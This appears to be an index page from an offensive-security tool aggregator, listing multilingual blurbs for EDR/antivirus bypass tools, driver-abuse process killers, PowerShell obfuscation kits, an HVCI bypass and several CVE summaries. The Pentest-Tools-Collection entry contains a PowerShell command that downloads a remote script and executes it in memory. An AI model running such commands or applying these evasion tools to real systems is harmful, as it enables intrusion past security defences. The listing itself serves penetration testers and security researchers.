UnhookingPatch

UnhookingPatch Bypassa gli hook EDR applicando patch allo stub delle NT API e risolvendo SSN e istruzioni syscall a runtime image Come converto il binario in MAC ? Requisiti: 1. macaddress root@kitploit: pip install macaddress ./bin2mac.py calc.bin...

NTDLLReflection

NTDLLReflection Bypassa gli hook EDR in Userland caricando in memoria una Ntdll riflessiva da un server remoto basato sul ReleaseID di Windows, per evitare di aprire un handle verso ntdll, e invoca le API esportate dalla tabella di esportazione...

NewPowerDNS

NewPowerDNS O NewPowerDNS é uma versão atualizada do PowerDNS do @domchell. A principal funcionalidade adicionada é o suporte para transferência de arquivos usando registros DNS A. Veja abaixo uma lista completa das modificações feitas: Suporte para transferência via registros DNS A Compressão gz...

CVE-2026-20079

🚨 CVE-2026-20079 „Kritischer Cisco-FMC-Zero-Day" Kritische Authentifizierungsumgehung, die zu Root-RCE im Cisco Secure Firewall Management Center führt 📋 Übersicht CVE-2026-20079 ist eine kritische Schwachstelle in der Webschnittstelle der Software Cisco Secure Firewall Management Center FMC. Ein...

macstealer

MacStealer: Umgehung der Wi-Fi-Client-Isolation 1. Einleitung Dieses Repo enthält MacStealer. Es kann Wi-Fi-Netzwerke auf Umgehungen der Client-Isolation testen CVE-2022-47522. Unser Angriff kann Verkehr zu anderen Clients auf der MAC-Ebene abfangen stehlen, selbst wenn Clients daran gehindert...

wmiexec-Pro

wmiexec-Pro Nuova generazione di wmiexec.py. Indice dei contenuti 1. Info 2. Ringraziamenti speciali 3. Funzionalità 4. Per iniziare Installazione 5. Utilizzo 6. Schermate 7. Come funziona? 8. Disclaimer 9. Riferimenti Info La nuova generazione di wmiexec.py: più nuove funzionalità, tutte le...

yetAnotherObfuscator

yetAnotherObfuscator Uno strumento di offuscamento in C in grado di bypassare Windows Defender. Ho creato questo strumento principalmente come pretesto per imparare di più su C e su come funzionano gli offuscatori. Questa è una versione alpha , quindi aspettatevi qualche bel bug. Utilizzo: Trasci...

PowerShell-Obfuscation-Bible

PowerShell Obfuscation Bible Eine Sammlung von Techniken, Beispielen und ein wenig Theorie zum manuellen Verschleiern von PowerShell-Skripten, um signaturbasierte Erkennung zu umgehen, zusammengestellt für Bildungszwecke. Der Inhalt dieses Repositorys ist das Ergebnis persönlicher Forschung,...

HellHall

HellsHall - Un altro modo per recuperare syscall pulite HellsHall è una combinazione di HellsGate e syscall indirette. Come funziona In primo luogo, HellsHall controlla se l'indirizzo della syscall è hookato e tenta di recuperare il numero della syscall verificando la presenza dei seguenti byte:...

PowerShell-for-Hackers

Hacker Hak5 dell'anno 2022 Indice 1. Descrizione 2. Le Funzioni 3. Contatti 4. Riconoscimenti Funzioni PowerShell per Hacker 🤓💻 Attualmente sono il contributore di payload numero 1 per Hak5. Ho deciso di creare questo repository per condividere tutte le funzioni che ho ideato per sviluppare i mie...

Terminator

Terminator Riproduzione della tecnica di Spyboy, che consiste nel terminare tutti i processi EDR/XDR/AV abusando del driver zam64.sys Spyboy vendeva il software Terminator al prezzo di $3,000 per maggiori dettagli il campione proviene da loldrivers utilizzo la versione compilata può essere trovat...

Blackout

Blackout sfruttando il driver gmer per disabilitare o terminare efficacemente EDR e antivirus. bypassa HVCI in modo fluido il campione proviene da loldrivers https://www.loldrivers.io/drivers/7ce8fb06-46eb-4f4f-90d5-5518a6561f15/ utilizzo Posiziona il driver Blackout.sys nello stesso percorso...

CVE-2026-82018

IGEL OS 12 (before 12.9.0 / 12.8.3 LTS ) and IGEL OS 11 (before 11.11.150 ) contain a secure boot bypass in the GRUB boot stage . A physically present attacker can place an unsigned empty file named igel.conf on a partition, exploiting GRUB's fail-open signature verification behavior to reach an ...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Raccolte di Strumenti WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

ZeroHVCI

ZeroHVCI - Bypassare l'HVCI senza privilegi di amministratore né un driver del kernel ZeroHVCI consente letture/scritture/chiamate di funzioni arbitrarie del kernel in ambienti protetti da Hypervisor-Protected Code Integrity HVCI senza permessi di amministratore né driver del kernel...

V8-sbx-bypass-collection

V8-Sandbox-Escape/Umgehung/Verletzung und VR-Sammlung ==================================================== Eine Sammlung von Links zu V8-Sandbox-VR und Exploitation Inhalt IssueTracker Artikel Paper & Folien Designdokumente IssueTracker 2023: "issue id: 40940619, V8-Sandbox-Escape aufgrund zu...

kernel-exploits

Exploit del kernel Linux Data| Link| Descrizione| Vettore| Impatto ---|---|---|---|--- 02.2016| CVE-2016-2384| Double-free nel driver USB MIDI| USB + Locale| LPE 03.2016| prefetch-side-channel| Bypass di KASLR tramite prefetch| Locale| Info-leak 12.2016| CVE-2016-9793| Problema di segno con i...

CVE-2026-19295

IBM Langflow OSS versions 1.0.0 through 1.11.1 are vulnerable to arbitrary OS command execution (CWE-95, Eval Injection) with a CVSS score of 9.9 (CRITICAL) . An authenticated attacker can save a flow with a crafted type field value that reaches Pydantic's ForwardRef evaluation path, where eval()...

CVE-2026-19294

IBM Langflow OSS versions 1.0.0 through 1.11.1 are affected by an improper authorization flaw (CWE-639). Deprecated build endpoints remain fully routed but lack the object-level ownership check present on the modern equivalent endpoint, allowing any authenticated user to enumerate and execute ano...

CVE-2026-18904

IBM Langflow OSS versions 1.0.0 through 1.11.1 are affected by an authorization bypass (CWE-639) stemming from a namespace collision between user identifiers . The public flow metadata endpoint exposes the owner's user_id, which an unauthenticated attacker can reuse as a client_id to collide with...